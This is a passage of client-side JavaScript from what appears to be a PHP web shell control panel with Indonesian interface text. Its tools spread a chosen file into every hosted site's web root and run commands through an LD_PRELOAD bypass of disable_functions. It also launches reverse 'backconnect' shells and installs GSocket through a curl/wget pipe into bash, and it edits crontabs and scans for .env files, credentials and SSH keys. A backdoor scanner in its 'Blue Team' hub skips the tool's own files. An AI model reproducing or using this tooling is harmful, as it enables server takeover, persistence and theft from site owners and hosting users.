    out.innerHTML=html;
    out.querySelectorAll('[data-fw-path]').forEach(a=>{
      a.addEventListener('click',function(ev){
        ev.preventDefault();
        const target=a.getAttribute('data-fw-path');
        goToWritablePath(target);
      });
    });
  }
  _g41a44e9(d.message||'Scan selesai','ok');
}

let mcLastUrls = [];

function _g2d63b7a(from){
  const v2El=$('#mcV2');
  const v3El=$('#mcV3');
  // Radio-like: hanya satu mode aktif
  if(from==='v2' && v2El && v2El.checked && v3El) v3El.checked=false;
  if(from==='v3' && v3El && v3El.checked && v2El) v2El.checked=false;
  // safety: kalau keduanya nyangkut, prioritas last-clicked (from)
  if(v2El && v3El && v2El.checked && v3El.checked){
    if(from==='v2') v3El.checked=false;
    else v2El.checked=false;
  }
  const v2=v2El && v2El.checked;
  const v3=v3El && v3El.checked;
  const wrap=$('#mcBaseWrap');
  const baseEl=$('#mcBase');
  const hideBase=!!(v2||v3);
  if(wrap) wrap.style.display=hideBase?'none':'';
  if(baseEl){ baseEl.disabled=hideBase; if(hideBase) baseEl.value=''; }
}
function _g39b0246(){ _g2d63b7a('v2'); }
function _g4c90e56(){ _g2d63b7a('v3'); }
function _g2d4c5e7(){
  const v3=$('#mcV3') && $('#mcV3').checked;
  const v2=$('#mcV2') && $('#mcV2').checked;
  if(v3) return 'v3';
  if(v2) return 'v2';
  return 'v1';
}

function _g3c081c7(){
  openM('#mMassCopy');
  const srcEl=$('#mcSrc');
  const baseEl=$('#mcBase');
  const cur=typeof toAbsolutePath==='function'?_gbd651e8(S.path||''):(S.path||'');
  if(srcEl && (!srcEl.value || srcEl.value==='') && S.selected && S.selected.size){
    const first=[...S.selected][0];
    if(first && !first.endsWith('/') ){
      const abs=typeof toAbsolutePath==='function'?_gbd651e8(first):first;
      srcEl.value=abs||first;
    }
  }
  if(baseEl && (!baseEl.value || baseEl.value==='')){
    if(cur && cur.indexOf('/home/')===0){
      const parts=cur.split('/').filter(Boolean);
      if(parts.length>=2) baseEl.value='/home/'+parts[1];
      else baseEl.value='/home/*';
    }else if(!baseEl.value){
      baseEl.placeholder='/home/* atau /home/username';
    }
  }
  _g2d63b7a();
  const out=$('#mcOutput');
  const meta=$('#mcMeta');
  if(out){
    out.textContent='Mode eksklusif — v1: Base Path · v2: system discovery · v3: Apache/Nginx sites-enabled (HTTP+SSL dedupe). Hanya satu yang aktif.';
    out.className='tool-output tall empty sec-terminal-out';
  }
  if(meta) meta.textContent='-';
}

async function runMassCopy(){
  const srcEl=$('#mcSrc');
  const baseEl=$('#mcBase');
  const debugEl=$('#mcDebug');
  const out=$('#mcOutput');
  const meta=$('#mcMeta');
  const btn=$('#mcRun');
  const src=srcEl?srcEl.value.trim():'';
  // Pastikan checkbox tidak double-aktif sebelum kirim
  _g2d63b7a();
  const mode=_g2d4c5e7();
  const v3=mode==='v3';
  const v2=mode==='v2';
  const base=(v2||v3)?'':(baseEl?baseEl.value.trim():'');
  const debug=debugEl&&debugEl.checked;
  if(!src){
    _g41a44e9('Isi Source File','error');
    return;
  }
  if(mode==='v1' && !base){
    _g41a44e9('Isi Base Path atau aktifkan Mass Copy v2/v3','error');
    return;
  }
  mcLastUrls=[];
  if(out){ out.textContent='Mass Copy '+mode+' batch mode...'; out.className='tool-output tall sec-terminal-out'; }
  if(meta) meta.textContent='running...';
  if(btn){ btn.disabled=true; btn.textContent='Spreading...'; }

  const allDetails=[];
  const allUrls=[];
  let offset=0;
  const limit=(mode==='v1')?50:40;
  let guard=0;
  let last=null;
  try{
    while(guard<40){
      guard++;
      if(out) out.textContent=mode+' batch #'+guard+' offset='+offset+' ...';
      let d;
      try{
        d=await api('mass_copy',{src:src,base:base,debug:debug?1:0,mode:mode,v2:v2?1:0,v3:v3?1:0,limit:limit,offset:offset});
      }catch(e){
        d={ok:false,error:'Network error: '+(e&&e.message?e.message:String(e))};
      }
      last=d;
      if(!d||!d.ok){
        if(allDetails.length) break;
        const err=(d&&d.error)?d.error:'Mass copy gagal';
        if(out){ out.textContent=err+(d&&d.debug_log&&d.debug_log.length?('\n\n--- debug ---\n'+d.debug_log.join('\n')):''); out.className='tool-output tall empty sec-terminal-out'; }
        if(meta) meta.textContent='failed';
        _g41a44e9(err,'error');
        if(btn){ btn.disabled=false; btn.textContent='Spread'; }
        return;
      }
      if(Array.isArray(d.details)){
        for(let i=0;i<d.details.length;i++) allDetails.push(d.details[i]);
      }
      if(Array.isArray(d.urls)){
        for(let i=0;i<d.urls.length;i++) allUrls.push(d.urls[i]);
      }
      if(meta) meta.textContent=allDetails.length+' confirmed · offset '+offset;
      if(!d.has_more) break;
      offset = (typeof d.next_offset==='number') ? d.next_offset : (offset+limit);
      await new Promise(r=>setTimeout(r, 300));
    }
  }finally{
    if(btn){ btn.disabled=false; btn.textContent='Spread'; }
  }

  mcLastUrls=allUrls.slice();
  const d=last||{};
  const lines=[];
  lines.push(d.message||'Done');
  lines.push('Mode: '+((d.mode||mode))+' (eksklusif)');
  if(d.resolve_method) lines.push('Discovery: '+d.resolve_method);
  lines.push('Source: '+(d.source||src));
  lines.push('Discovered domains: '+(d.discovered_domains||d.domain_count||0)+' · Unique docroots/targets: '+(d.unique_docroots||d.domain_count||0)+' · Confirmed: '+allDetails.length);
  lines.push('');
  if(allDetails.length){
    lines.push('Confirmed (domain + path/url):');
    for(let i=0;i<allDetails.length;i++){
      const it=allDetails[i];
      lines.push((i+1)+'. '+(it.domain||'')+(it.user?(' user='+it.user):''));
      lines.push('   path: '+(it.dest||it.path||'')+' ['+(it.path_ok===false?'INVALID':'VALID')+']');
      lines.push('   url:  '+(it.url||'')+' ['+(it.url_ok?'VALID HTTP '+(it.url_status||200):('INVALID'+(it.url_status?(' HTTP '+it.url_status):'')))+']');
      if(it.htaccess) lines.push('   htaccess: '+it.htaccess);
    }
  }else{
    lines.push('(tidak ada hasil confirmed)');
  }
  if(out){ out.textContent=lines.join('\n'); out.className='tool-output tall sec-terminal-out'; }
  if(meta) meta.textContent=allDetails.length+' confirmed';
  _g41a44e9(allDetails.length?('Confirmed '+allDetails.length):'Tidak ada confirmed', allDetails.length?'ok':'error');
}


async function mcCopyUrls(){
  if(!mcLastUrls.length) return _g41a44e9('Belum ada URL confirmed','error');
  const txt=mcLastUrls.map((u,i)=>(i+1)+'. '+u).join('\n');
  const ok=await copyText(txt);
  if(ok) _g41a44e9('Copied '+mcLastUrls.length+' URL(s)');
  else _g41a44e9('Copy failed','error');
}

function _g50ad757(){
  if(!mcLastUrls.length) return _g41a44e9('Belum ada URL confirmed','error');
  const lines=mcLastUrls.map((u,i)=>(i+1)+'. '+u);
  const blob=new Blob([lines.join('\n')],{type:'text/plain'});
  const a=document.createElement('a');
  a.href=URL.createObjectURL(blob);
  a.download='mass_copy_result.txt';
  document.body.appendChild(a);
  a.click();
  document.body.removeChild(a);
  setTimeout(()=>URL.revokeObjectURL(a.href),1000);
  _g41a44e9('Downloaded TXT','ok');
}

async function openBypassDf(){
  openM('#mBypassDf');
  const out=$('#bpOutput');
  const meta=$('#bpMeta');
  if(out){
    out.textContent='LD_PRELOAD bypass (payload embedded di manager.php). Linux only. Klik Check Status lalu Run Command.';
    out.className='tool-output tall empty sec-terminal-out';
  }
  if(meta) meta.textContent='-';
  try{ await checkBypassDf(true); }catch(e){}
}

async function checkBypassDf(silent){
  const out=$('#bpOutput');
  const meta=$('#bpMeta');
  if(!silent && out){ out.textContent='Checking status…'; out.className='tool-output tall sec-terminal-out'; }
  let d;
  try{ d=await api('bypass_df_info',{}); }
  catch(e){ d={ok:false,error:'Network error: '+(e&&e.message?e.message:String(e))}; }
  if(!d||!d.ok){
    const err=(d&&d.error)?d.error:'Status check gagal';
    if(out){ out.textContent=err; out.className='tool-output tall empty sec-terminal-out'; }
    if(meta) meta.textContent='failed';
    if(!silent) _g41a44e9(err,'error');
    return;
  }
  const lines=[];
  lines.push('Bypass Functions — status');
  lines.push('OS Linux: '+(d.linux?'YES':'NO (Windows tidak didukung)'));
  lines.push('Arch: '+(d.arch||'?'));
  lines.push('Embedded payloads: '+(d.preload_ok?'OK':'MISSING')+(d.preload_path?(' @ '+d.preload_path):''));
  if(d.preload_error) lines.push('preload error: '+d.preload_error);
  lines.push('disable_functions: '+(d.disable_functions||'(none)'));
  lines.push('Required funcs:');
  const funcs=d.funcs||{};
  Object.keys(funcs).forEach(k=>lines.push('  - '+k+': '+(funcs[k]?'OK':'DISABLED/MISSING')));
  if(out){ out.textContent=lines.join('\n'); out.className='tool-output tall sec-terminal-out'; }
  if(meta) meta.textContent=d.preload_ok&&d.linux?'ready':'not ready';
  if(!silent) _g41a44e9(d.preload_ok&&d.linux?'Ready':'Not ready', d.preload_ok&&d.linux?'ok':'error');
}

async function runBypassDf(){
  const cmdEl=$('#bpCmd');
  const out=$('#bpOutput');
  const meta=$('#bpMeta');
  const btn=$('#bpRun');
  const cmd=cmdEl?cmdEl.value.trim():'';
  if(!cmd){
    _g41a44e9('Isi Command','error');
    return;
  }
  if(out){ out.textContent='Running via LD_PRELOAD bypass…'; out.className='tool-output tall sec-terminal-out'; }
  if(meta) meta.textContent='running…';
  if(btn){ btn.disabled=true; btn.textContent='Running…'; }
  let d;
  try{ d=await api('bypass_df',{cmd:cmd}); }
  catch(e){ d={ok:false,error:'Network error: '+(e&&e.message?e.message:String(e))}; }
  if(btn){ btn.disabled=false; btn.textContent='Run Command'; }
  if(!d||!d.ok){
    const err=(d&&d.error)?d.error:'Bypass gagal';
    const extra=[];
    if(d&&d.disable_functions) extra.push('disable_functions: '+d.disable_functions);
    if(d&&d.arch) extra.push('arch: '+d.arch);
    if(d&&d.preload) extra.push('preload: '+d.preload);
    if(out){ out.textContent=err+(extra.length?('\n'+extra.join('\n')):'')+(d&&d.output?('\n\n'+d.output):''); out.className='tool-output tall empty sec-terminal-out'; }
    if(meta) meta.textContent='failed';
    _g41a44e9(err,'error');
    return;
  }
  const lines=[];
  lines.push(d.message||'Done');
  lines.push('cmd: '+(d.cmd||cmd));
  lines.push('arch: '+(d.arch||'?')+' · mail: '+(d.mail_ok?'ok':'fail'));
  if(d.preload) lines.push('preload: '+d.preload);
  if(d.disable_functions) lines.push('disable_functions: '+d.disable_functions);
  lines.push('');
  lines.push(d.output||'(no output)');
  if(out){ out.textContent=lines.join('\n'); out.className='tool-output tall sec-terminal-out'; }
  if(meta) meta.textContent='ok · '+(d.arch||'');
  _g41a44e9('Bypass OK','ok');
}

async function saveCron(){
  const d=await api('cron_save',{content:$('#cronContent').value});
  if(!d.ok) return _g41a44e9(d.error,'error');
  _g41a44e9('Crontab saved','ok');
  loadCron();
}

function _g4a0a162(){
  openM('#mBackconnect');
  $('#bcOutput').textContent='Ready — connection runs in background.';
  $('#bcOutput').className='tool-output empty';
}

async function _g294703c(){
  const ip=$('#bcIp').value.trim();
  const port=parseInt($('#bcPort').value,10)||4444;
  const method=$('#bcMethod').value;
  if(!ip) return _g41a44e9('Enter your IP/host','error');
  const out=$('#bcOutput');
  const btn=$('#bcStart');
  out.textContent='Starting…';
  out.className='tool-output';
  if(btn) btn.disabled=true;
  try{
    const d=await api('backconnect',{ip,port,method});
    if(!d||typeof d!=='object'){
      out.textContent='Empty/invalid response from server';
      out.className='tool-output empty';
      _g41a44e9('Backconnect failed','error');
      return;
    }
    const lines=[];
    if(d.ok){
      lines.push(d.message||'Started');
      if(d.target) lines.push('Target: '+d.target);
      if(d.pid) lines.push('PID: '+d.pid);
      if(d.shell_method) lines.push('Shell: '+d.shell_method);
      if(d.output) lines.push('---\n'+d.output);
      out.textContent=lines.join('\n');
      out.className='tool-output';
      _g41a44e9(d.message||'Started','ok');
    }else{
      lines.push(d.error||'Failed');
      if(d.hint) lines.push(d.hint);
      out.textContent=lines.join('\n');
      out.className='tool-output empty';
      _g41a44e9(d.error||'Failed','error');
    }
  }catch(e){
    out.textContent='Request error: '+(e&&e.message?e.message:String(e));
    out.className='tool-output empty';
    _g41a44e9('Backconnect request failed','error');
  }finally{
    if(btn) btn.disabled=false;
  }
}

const GS_COMMANDS = {
  curl: 'GS_NOCERTCHECK=1 bash -c "$(curl -fsSLk https://gsocket.io/y)"',
  wget: 'GS_NOCERTCHECK=1 bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"'
};

function _g10df072(){
  const m=$('#gsMethod').value;
  const preview=$('#gsCmdPreview');
  if(preview) preview.textContent=GS_COMMANDS[m]||GS_COMMANDS.curl;
}

function _g61f8237(){
  openM('#mGsocket');
  _g10df072();
  $('#gsOutput').textContent='Klik Run untuk mengeksekusi installer GSocket.';
  $('#gsOutput').className='tool-output tall empty';
  $('#gsMeta').textContent='—';
}

async function _g242db1d(){
  const method=$('#gsMethod').value;
  const out=$('#gsOutput');
  const meta=$('#gsMeta');
  const btn=$('#gsRun');
  out.textContent='Running installer… auto-retry GS_PORT 22–67 if GSRN firewalled';
  out.className='tool-output tall';
  if(meta) meta.textContent='Executing (may take several minutes)…';
  if(btn){ btn.disabled=true; btn.textContent='Running…'; }
  const t0=performance.now();
  let d;
  try{
    d=await api('gsocket',{method});
  }catch(e){
    d={ok:false,error:'Network error or timeout'};
  }
  const ms=Math.round(performance.now()-t0);
  if(btn){ btn.disabled=false; btn.textContent='Run GSocket'; }
  if(!d.ok){
    out.textContent=d.error||'Failed';
    out.className='tool-output tall empty';
    if(meta) meta.textContent='Error · '+ms+'ms';
    return _g41a44e9(d.error||'Failed','error');
  }
  out.textContent=d.output||'(no output)';
  out.className='tool-output tall';
  if(meta){
    let portInfo='';
    if(d.gs_port_label) portInfo=' · port '+d.gs_port_label;
    else if(d.gs_port!==undefined && d.gs_port!==null) portInfo=' · GS_PORT='+d.gs_port;
    meta.textContent=(d.method||method)+portInfo+' · '+d.attempts+' attempt(s) · '+ms+'ms';
  }
  if(d.firewalled){
    _g41a44e9('GSRN still firewalled on all ports (22–67)','error');
  }else if(d.success){
    _g41a44e9('GSocket OK · '+((d.gs_port_label||d.gs_port||'default')),'ok');
  }else{
    _g41a44e9('GSocket finished (exit '+d.exit_code+')', d.exit_code===0?'ok':'error');
  }
}

$('#gsMethod').addEventListener('change', _g10df072);
$('#gsCopy').onclick=async()=>{
  const txt=$('#gsOutput').textContent||'';
  if(!txt||txt.startsWith('Klik Run')) return _g41a44e9('Nothing to copy','error');
  const ok = await copyText(txt);
  if(ok) _g41a44e9('Output copied');
  else _g41a44e9('Copy failed','error');
};

// ─── Cyber Security Hub ──────────────────────────────────────────
const SEC_TAB_META = {
  recon:      { title: 'System Recon',       desc: 'Informasi sistem, user/privilege, batasan PHP, kernel & environment.' },
  sensitive:  { title: 'Sensitive Scanner',  desc: 'Mencari file rahasia: .env, credentials, SSH keys, config backup.' },
  processes:  { title: 'Process Monitor',    desc: 'Daftar proses berjalan — ps aux / tasklist.' },
  network:    { title: 'Network Recon',      desc: 'Port listening, koneksi aktif, dan interface jaringan.' },
  http:       { title: 'HTTP Client',        desc: 'Kirim request HTTP untuk SSRF testing & API recon.' },
  hash:       { title: 'Hash Generator',     desc: 'Generate MD5, SHA1, SHA256, SHA512, CRC32 checksums.' },
  codec:      { title: 'Codec Toolkit',      desc: 'Base64, URL, ROT13, Hex encode/decode.' },
  dns:        { title: 'DNS Lookup',         desc: 'Resolve A, AAAA, MX, TXT, NS, CNAME records.' },
  suid:       { title: 'SUID / SGID / CAP',  desc: 'Privilege escalation recon — Linux only.' },
  privesc:    { title: 'Privilege Escalation Audit', desc: 'Audit privesc Linux (sudo, SUID, caps, docker…) dan Windows (token, UAC, services, tasks).' },
};

function _g53f75b8(tab){
  $$('#mSecHub .sec-nav-btn').forEach(b=>b.classList.toggle('active', b.dataset.sec===tab));
  $$('#mSecHub .sec-panel').forEach(p=>p.classList.toggle('active', p.dataset.panel===tab));
  const meta = SEC_TAB_META[tab];
  if(meta){
    const t=$('#secHeroTitle'), d=$('#secHeroDesc');
    if(t) t.textContent = meta.title;
    if(d) d.textContent = meta.desc;
  }
}

function _g7273c93(tab){
  openM('#mSecHub');
  _g53f75b8(tab||'recon');
  if(tab==='recon' && !S.secReconLoaded){
    S.secReconLoaded=true;
    secRunTool('recon','secOutRecon');
  }
}

async function secRunTool(tool, outId, extra){
  const out = outId ? $('#'+outId) : null;
  const meta=$('#secMeta');
  const payload=Object.assign({tool}, extra||{});
  if(out){ out.textContent='Running…'; out.className='tool-output tall sec-terminal-out loading'; }
  if(meta) meta.textContent='Running '+tool+'…';
  _g7bedd5a(out, true);
  const t0=performance.now();
  let d;
  try {
    d = await api('sec_tool',payload);
  } finally {
    _g7bedd5a(out, false);
  }
  const ms=Math.round(performance.now()-t0);
  if(!d.ok){
    if(out){ out.textContent=d.error||'Failed'; out.className='tool-output tall empty sec-terminal-out'; }
    if(meta) meta.textContent='Error · '+ms+'ms';
    return _g41a44e9(d.error||'Failed','error');
  }
  if(out){ out.textContent=d.output||'(no output)'; out.className='tool-output tall sec-terminal-out'; }
  if(meta){
    let extra='';
    if(d.count!==undefined) extra=' · '+d.count+' found';
    meta.textContent=tool+extra+' · '+ms+'ms';
  }
  return d;
}

$$('#mSecHub .sec-nav-btn').forEach(btn=>{
  btn.onclick=()=>_g53f75b8(btn.dataset.sec);
});

$('#secPhpinfo').onclick=()=>window.open('?phpinfo=1','_blank');
$('#secRunRecon').onclick=()=>secRunTool('recon','secOutRecon');
$('#secCopyRecon').onclick=async()=>{
  const txt=$('#secOutRecon').textContent||'';
  if(!txt||txt.includes('System info')) return _g41a44e9('Nothing to copy','error');
  const ok = await copyText(txt);
  if(ok) _g41a44e9('Copied'); else _g41a44e9('Copy failed','error');
};
$('#secRunSensitive').onclick=()=>secRunTool('sensitive','secOutSensitive',{path:$('#secSensPath').value.trim()});
$('#secRunProcesses').onclick=()=>secRunTool('processes','secOutProcesses');
$('#secRunNetwork').onclick=()=>secRunTool('network','secOutNetwork');
$('#secRunHttp').onclick=()=>secRunTool('http','secOutHttp',{
  url:$('#secHttpUrl').value.trim(),
  method:$('#secHttpMethod').value,
  headers:$('#secHttpHeaders').value,
  body:$('#secHttpBody').value
});
$('#secRunHash').onclick=()=>secRunTool('hash','secOutHash',{text:$('#secHashText').value,algo:$('#secHashAlgo').value});
$('#secRunCodec').onclick=()=>secRunTool('codec','secOutCodec',{mode:$('#secCodecMode').value,text:$('#secCodecText').value});
$('#secRunDns').onclick=()=>secRunTool('dns','secOutDns',{host:$('#secDnsHost').value.trim(),type:$('#secDnsType').value});
$('#secRunPrivescLinux').onclick=()=>secRunTool('privesc_linux','secOutPrivesc');
$('#secRunPrivescWindows').onclick=()=>secRunTool('privesc_windows','secOutPrivesc');
$('#secRunSuid').onclick=()=>secRunTool('suid','secOutPrivesc');
$('#secCopyPrivesc').onclick=async()=>{
  const txt=$('#secOutPrivesc').textContent||'';
  if(!txt||txt.includes('Pilih audit')) return _g41a44e9('Nothing to copy','error');
  const ok = await copyText(txt);
  if(ok) _g41a44e9('Report copied'); else _g41a44e9('Copy failed','error');
};

// ─── Blue Team Hub ───────────────────────────────────────────────
const BLUE_TAB_META = {
  backdoor:  { title: 'Backdoor Scanner',   desc: 'Deteksi webshell & backdoor dengan scoring signature. File gecko dikecualikan otomatis.' },
  fullaudit: { title: 'Full Security Audit', desc: 'Assessment lengkap: backdoor, recent changes, writable, hidden, cron, IOC, logs, processes.' },
  recent:    { title: 'Recent Changes',      desc: 'File PHP/JS/.htaccess yang dimodifikasi dalam N hari terakhir.' },
  writable:  { title: 'Writable Scan',       desc: 'File & folder world-writable (777 / o+w) — risiko upload/injection.' },
  hidden:    { title: 'Hidden Scripts',      desc: 'Dot-files: .htaccess, .user.ini, shell tersembunyi.' },
  cron:        { title: 'Cron Audit (quick)',  desc: 'Audit crontab user + /etc/cron* saja — versi ringkas.' },
  persistence: { title: 'Persistence Audit',   desc: 'Deteksi mekanisme persist: cron, systemd, startup, SSH keys, shell rc, .htaccess, .user.ini, PHP auto_prepend.' },
  logs:        { title: 'Log Audit',             desc: 'Failed auth, sudo usage, error web server mencurigakan.' },
  ioc:       { title: 'IOC Filename Hunt',   desc: 'Nama file malware known: c99, r57, wso, b374k, alfa…' },
  process:   { title: 'Suspicious Processes', desc: 'nc, /dev/tcp, reverse shell, miner, scanner di memory.' },
};

function _gc7f48ec(tab){
  $$('#mBlueHub .sec-nav-btn').forEach(b=>b.classList.toggle('active', b.dataset.blue===tab));
  $$('#mBlueHub .sec-panel').forEach(p=>p.classList.toggle('active', p.dataset.bpanel===tab));
  const meta = BLUE_TAB_META[tab];
  if(meta){
    const t=$('#blueHeroTitle'), d=$('#blueHeroDesc');
    if(t) t.textContent = meta.title;
    if(d) d.textContent = meta.desc;
  }
}

function _g4c0f2a4(tab){
  openM('#mBlueHub');
  _gc7f48ec(tab||'backdoor');
  if(tab==='backdoor' || !tab) loadBlueQuarantine();
}

async function blueRunTool(tool, outId, extra){
  const out = outId ? $('#'+outId) : null;
  const meta = $('#blueMeta');
  const payload = Object.assign({tool}, extra||{});
  if(out){ out.textContent='Scanning… this may take a while'; out.className='tool-output tall sec-terminal-out loading'; }
  if(meta) meta.textContent='Running '+tool+'…';
  _g7bedd5a(out, true);
  const t0=performance.now();
  let d;
  try {
    d = await api('blue_tool',payload);
  } finally {
    _g7bedd5a(out, false);
  }
  const ms=Math.round(performance.now()-t0);
  if(!d.ok){
    if(out){ out.textContent=d.error||'Failed'; out.className='tool-output tall empty sec-terminal-out'; }
    if(meta) meta.textContent='Error · '+ms+'ms';
    return _g41a44e9(d.error||'Failed','error');
  }
  if(out){ out.textContent=d.output||'(no output)'; out.className='tool-output tall sec-terminal-out'; }
  if(meta){
    let info = tool+' · '+ms+'ms';
    if(d.count!==undefined) info += ' · '+d.count+' finding(s)';
    if(d.critical!==undefined && d.critical>0) info += ' · '+d.critical+' critical/high';
    if(d.scanned!==undefined) info += ' · '+d.scanned+' scanned';
    meta.textContent=info;
  }
  if(d.critical>0) _g41a44e9(d.critical+' critical/high threat(s) found','error');
  else if(d.count>0) _g41a44e9(d.count+' finding(s) — review report','error');
  else _g41a44e9('Scan complete — no major threats','ok');
  return d;
}

$$('#mBlueHub .sec-nav-btn').forEach(btn=>btn.onclick=()=>_gc7f48ec(btn.dataset.blue));

function _g9577fd6(){
  if(S.blueSevFilter === 'ALL') return S.blueFindings.map((f,i)=>({f,i}));
  const sev = S.blueSevFilter;
  return S.blueFindings.map((f,i)=>({f,i})).filter(({f})=>(f.severity||'').toUpperCase()===sev);
}

function _gb3e4fa0(){
  const list = $('#blueThreatList');
  if(!list) return;
  list.querySelectorAll('.blue-threat-path').forEach(el=>{
    el.style.cursor = 'pointer';
    el.onclick = (ev)=>{ ev.preventDefault(); el.closest('.blue-threat-item')?.classList.toggle('expanded'); };
  });
  list.querySelectorAll('.blue-q-one').forEach(btn=>{
    btn.onclick = (ev)=>{
      ev.preventDefault(); ev.stopPropagation();
      const idx = parseInt(btn.dataset.idx, 10);
      const p = S.blueFindings[idx]?.path;
      if(p) _gc98c1cb([p], 'Quarantine '+p+'?');
    };
  });
}

function _gb8e3bb8(findings){
  S.blueFindings = findings || [];
  const list = $('#blueThreatList');
  const actions = $('#blueThreatActions');
  const countEl = $('#blueThreatCount');
  const filterBar = $('#blueFilterBar');
  if(!list || !actions) return;
  if(filterBar){
    filterBar.classList.toggle('show', S.blueFindings.length > 0);
    $$('#blueFilterBar .blue-filter').forEach(b=>b.classList.toggle('active', b.dataset.sev === S.blueSevFilter));
  }
  if(!S.blueFindings.length){
    list.innerHTML = '';
    list.classList.add('hidden');
    actions.classList.remove('show');
    if(filterBar) filterBar.classList.remove('show');
    return;
  }
  const filtered = _g9577fd6();
  list.classList.remove('hidden');
  actions.classList.add('show');
  if(countEl) countEl.textContent = S.blueFindings.length + ' threat(s) — select to quarantine';
  if(!filtered.length){
    list.innerHTML = '<div class="blue-threat-item" style="color:var(--tx4);font-style:italic;padding:14px">No threats match this filter.</div>';
    return;
  }
  list.innerHTML = filtered.map(({f,i})=>{
    const mod = f.modified ? new Date(f.modified*1000).toLocaleString() : '-';
    const hits = (f.hits||[]).slice(0,6).join(', ');
    const hitsFull = (f.hits||[]).join(', ');
    return `<label class="blue-threat-item">
      <input type="checkbox" class="blue-threat-cb" data-idx="${i}" checked>
      <span class="blue-threat-sev ${esc(f.severity||'LOW')}">${esc(f.severity||'?')}</span>
      <div class="blue-threat-info">
        <div class="blue-threat-path" title="Click to expand hits">${esc(f.path)}</div>
        <div class="blue-threat-meta">score:${f.score} · ${mod} · ${esc(hits)}</div>
        <div class="blue-threat-hits-full">${esc(hitsFull)}</div>
      </div>
      <button type="button" class="btn btn-ghost btn-sm blue-q-one" data-idx="${i}">Quarantine</button>
    </label>`;
  }).join('');
  _gb3e4fa0();
}

function _ged854a8(all){
  if(all) return S.blueFindings.map(f=>f.path);
  const paths = [];
  $$('.blue-threat-cb:checked').forEach(cb=>{
    const idx = parseInt(cb.dataset.idx,10);
    if(S.blueFindings[idx]) paths.push(S.blueFindings[idx].path);
  });
  return paths;
}

function _g233e26e(){
  S.blueFindings = [];
  _gb8e3bb8([]);
}

function _g59acc8a(){
  _g233e26e();
  _g41a44e9('Threat list dismissed — no files moved','ok');
}

function _gb436048(entries, dir){
  S.blueQuarantine = entries || [];
  const list = $('#blueQuarantineList');
  const dirEl = $('#blueQuarantineDir');
  if(dirEl && dir) dirEl.innerHTML = 'Lokasi: <code>'+esc(dir)+'</code> — pilih file lalu klik Restore.';
  if(!list) return;
  if(!S.blueQuarantine.length){
    list.innerHTML = '<div class="blue-threat-item" style="color:var(--tx4);font-style:italic;padding:14px">Belum ada file di quarantine.</div>';
    return;
  }
  list.innerHTML = S.blueQuarantine.map((e,i)=>{
    const when = e.moved_at ? new Date(e.moved_at*1000).toLocaleString() : '-';
    return `<label class="blue-threat-item">
      <input type="checkbox" class="blue-q-cb" data-id="${esc(e.id)}" checked>
      <span class="blue-threat-sev MEDIUM">QRT</span>
      <div class="blue-threat-info">
        <div class="blue-threat-path">${esc(e.original)}</div>
        <div class="blue-threat-meta">quarantined: ${esc(when)} · id:${esc(e.id)}</div>
      </div>
      <button type="button" class="btn btn-ghost btn-sm blue-restore-one" data-id="${esc(e.id)}">Restore</button>
    </label>`;
  }).join('');
  list.querySelectorAll('.blue-restore-one').forEach(btn=>{
    btn.onclick = (ev)=>{ ev.preventDefault(); restoreBlueQuarantine([btn.dataset.id]); };
  });
}

async function loadBlueQuarantine(){
  const d = await api('blue_quarantine_list',{});
  if(!d.ok) return;
  _gb436048(d.entries||[], d.dir||'');
}

function _g372f334(all){
  if(all) return S.blueQuarantine.map(e=>e.id);
  const ids = [];
  $$('.blue-q-cb:checked').forEach(cb=>{ if(cb.dataset.id) ids.push(cb.dataset.id); });
  return ids;
}

async function restoreBlueQuarantine(ids){
  if(!ids.length) return _g41a44e9('No items selected','error');
  const out = $('#blueOutBackdoor');
  if(out){ out.textContent='Restoring '+ids.length+' file(s)…'; out.className='tool-output tall sec-terminal-out'; }
  const d = await api('blue_restore',{ids});
  if(!d.ok){ if(out) out.textContent=d.error||'Restore failed'; return _g41a44e9(d.error||'Failed','error'); }
  if(out) out.textContent = d.output || 'Restored';
  await loadBlueQuarantine();
  _g41a44e9('Restored '+(d.count||0)+' file(s)'+(d.failed&&d.failed.length?' · '+d.failed.length+' failed':''), d.failed&&d.failed.length?'error':'ok');
}

function _gc98c1cb(paths, label){
  if(!paths.length) return _g41a44e9('No files selected','error');
  S.blueDeleteQueue = paths;
  $('#blueDeleteMsg').textContent = label || ('Pindahkan '+paths.length+' file ke quarantine (.gecko_quarantine/)?');
  openM('#mBlueDelete');
}

async function executeBlueDelete(){
  const paths = S.blueDeleteQueue || [];
  if(!paths.length){ closeAll(); return; }
  closeAll();
  const out = $('#blueOutBackdoor');
  if(out){ out.textContent='Moving '+paths.length+' file(s) to quarantine…'; out.className='tool-output tall sec-terminal-out'; }
  const d = await api('blue_delete',{paths});
  if(!d.ok){
    if(out) out.textContent = (d.output || d.error || 'Quarantine failed');
    return _g41a44e9(d.error||'Failed','error');
  }
  if(out) out.textContent = d.output || 'Done';
  const norm = p => String(p||'').replace(/\\/g,'/').toLowerCase();
  const movedSet = new Set((d.deleted||[]).map(norm));
  S.blueFindings = S.blueFindings.filter(f=>!movedSet.has(norm(f.path)));
  _gb8e3bb8(S.blueFindings);
  S.blueDeleteQueue = [];
  await loadBlueQuarantine();
  _g41a44e9('Quarantined '+(d.count||0)+' file(s)'+(d.failed&&d.failed.length?' · '+d.failed.length+' failed':''), d.failed&&d.failed.length?'error':'ok');
}

async function runBackdoorScan(){
  const out = $('#blueOutBackdoor');
  const meta = $('#blueMeta');
  const aggressive = $('#blueAggressive') ? $('#blueAggressive').checked : false;
  _g233e26e();
  if(out){ out.textContent=(aggressive?'Aggressive':'Standard')+' scan running…'; out.className='tool-output tall sec-terminal-out loading'; }
  if(meta) meta.textContent='Scanning…';
  _g7bedd5a(out, true);
  const t0 = performance.now();
  let d;
  try {
    d = await api('blue_tool',{tool:'backdoor', path:$('#blueScanPath').value.trim(), aggressive:aggressive?1:0});
  } finally {
    _g7bedd5a(out, false);
  }
  const ms = Math.round(performance.now()-t0);
  if(!d.ok){
    if(out){ out.textContent=d.error||'Failed'; out.className='tool-output tall empty sec-terminal-out'; }
    if(meta) meta.textContent='Error · '+ms+'ms';
    return _g41a44e9(d.error||'Failed','error');
  }
  if(out){ out.textContent=d.output||'(no output)'; out.className='tool-output tall sec-terminal-out'; }
  if(meta){
    let info = 'backdoor · '+ms+'ms · '+d.scanned+' scanned';
    if(d.count!==undefined) info += ' · '+d.count+' finding(s)';
    if(d.critical) info += ' · '+d.critical+' critical/high';
    meta.textContent = info;
  }
  if(d.findings && d.findings.length){
    _gb8e3bb8(d.findings);
